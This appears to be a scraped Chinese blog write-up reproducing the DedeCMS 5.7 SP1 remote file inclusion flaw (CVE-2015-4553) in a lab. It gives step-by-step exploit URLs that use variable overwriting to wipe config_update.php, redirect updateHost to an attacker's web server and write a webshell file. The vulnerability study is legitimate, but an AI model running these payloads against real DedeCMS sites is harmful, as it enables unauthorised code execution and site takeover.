DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
一、漏洞描述
该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞。
二、漏洞影响版本
DeDeCMS < 5.7-sp1,包括5.7 sp1版本
三、漏洞环境搭建
1、下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php

2、点击我已阅读并继续。然后是环境检测,保存默认即可

3、接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了

4、然后就把环境搭好了

四、漏洞复现
1、查看/install/index.php源码,发现存在变量覆盖漏洞,该代码的意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入?str=hello,则$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函数在另一个文件中定义的,大致就是对参数进行过滤然后返回参数内容。


2、尝试通过变量覆盖重装网站,浏览器访问

3、变量覆盖后,直接进入安装界面,但是由于安装锁的存在不能继续重新安装,除非删除安装锁http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1

4、只有变量覆盖暂时还不够,继续浏览代码,发现最后几行代码

4.1、这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost
文件内容如下:

4.2、继续看373-387行代码,$updateHost与dedecms/demodata.{$a_lang}.txt拼接为字符串,并利用files_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name参数中。
4.3、因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。
5、由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。
5.1、这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents读取文件失败会返回NULL

5.2、然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。
构造payload: http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php
浏览器访问,提示如下

5.3、查看代码,发现这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制

5.4、再次构造payload:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php

5.5、此时可以看到config_update.php会发现已经变为0kb,空文件

5.6、config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了
5.7、在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务

5.8、再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP
Payload如下:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/
浏览器访问,出现界面说明写入成功

5.9、查看是否上传成功,确定上传成功

6、浏览器访问上传的shell.php

-------------------------------------------------------------------------------------------
参考: https://www.cnblogs.com/s1ye/p/9108780.html
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)的更多相关文章
- dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...
- 18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...
- CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 参考文章1 参考文章2 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞. ...
- phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...
- 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- Vulhub-Phpmyadmin 4.8.1远程文件包含漏洞
前言:Phpmyadmin是一个用PHP编写的免费软件工具,旨在处理Web上的MySQL管理. 该漏洞在index.php中,导致文件包含漏洞 漏洞环境框架搭建: cd vulhub-master/p ...
- php本地及远程文件包含漏洞
在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen onallow_url_include on 但是开启这两个功能之后伴随的是url漏 ...
- dedecms织梦 标签远程文件写入漏洞
测试方法: @Sebug.net dis本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 前题条件,必须准备好自己的dede数据库,然后插入数据: insert into d ...
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
随机推荐
- 关于网页授权access_token和普通access_token的区别
关于网页授权access_token和普通access_token的区别 1.微信网页授权是通过OAuth2.0机制实现的,在用户授权给公众号后,公众号可以获取到一个网页授权特有的接口调用凭证(网页授 ...
- python PEP8常用规范
python 常用PEP8规范 一 代码编排 1 缩进.4个空格的缩进(编辑器都可以完成此功能),不使用Tap,更不能混合使用Tap和空格.2 每行最大长度79,换行可以使用反斜杠,最好使用圆括号 ...
- spring系列(一):超级经典入门
一 spring是什么 Spring是一个开源框架,它由RodJohnson创建.它是为了解决企业应用开发的复杂性而创建的.Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情. ...
- 什么是常量?变量? if语句介绍
1.python 的历史 2004 年 Django 的产生 phyton2与 python3 的区别 Python2:源码不统一,有重复的代码功能 Python3:源码统一,没有有重复的代码功能 2 ...
- C语言入门4-运算符和表达式
一. 分类 C语言一共有34种运算符,10种运算类型,本节我们要掌握的有( 7 种) 算术运算符(+.-.*./.%). 关系运算符(>.>=.==.!=.<.<=). ...
- Jenkins-slave实现并行的自动化测试
前言 上篇文章搭建了Jenkins-slave的分布式测试环境,我一直在想一个问题,使用这种模式能不能实现并发的自动化测试?我的想法是:同一套UI自动化的测试代码,是否能够通过一个Job绑定多个sla ...
- 林大妈的JavaScript基础知识(二):编写JavaScript代码前的一些简单工作
在介绍JavaScript语法前,我们需要知道,学习语法必须要多利用手敲代码来巩固记忆.因此,由于JavaScript的特性,它不能像C++和Java一样独立地编译及运行,我们需要在调试运行JavaS ...
- .NET Core 3.0之深入源码理解HttpClientFactory(二)
写在前面 上一篇文章讨论了通过在ConfigureServices中调用services.AddHttpClient()方法,并基于此进一步探讨了DefaultHttpClientFactory是 ...
- 1.4.1python下载网页(每天一更)
# -*- coding: utf-8 -*- ''' Created on 2019年4月27日 @author: lenovo ''' # import urllib3 # def downloa ...
- python多进程详解
目录 python多进程 序.multiprocessing 一.Process process介绍 例1.1:创建函数并将其作为单个进程 例1.2:创建函数并将其作为多个进程 例1.3:将进程定义为 ...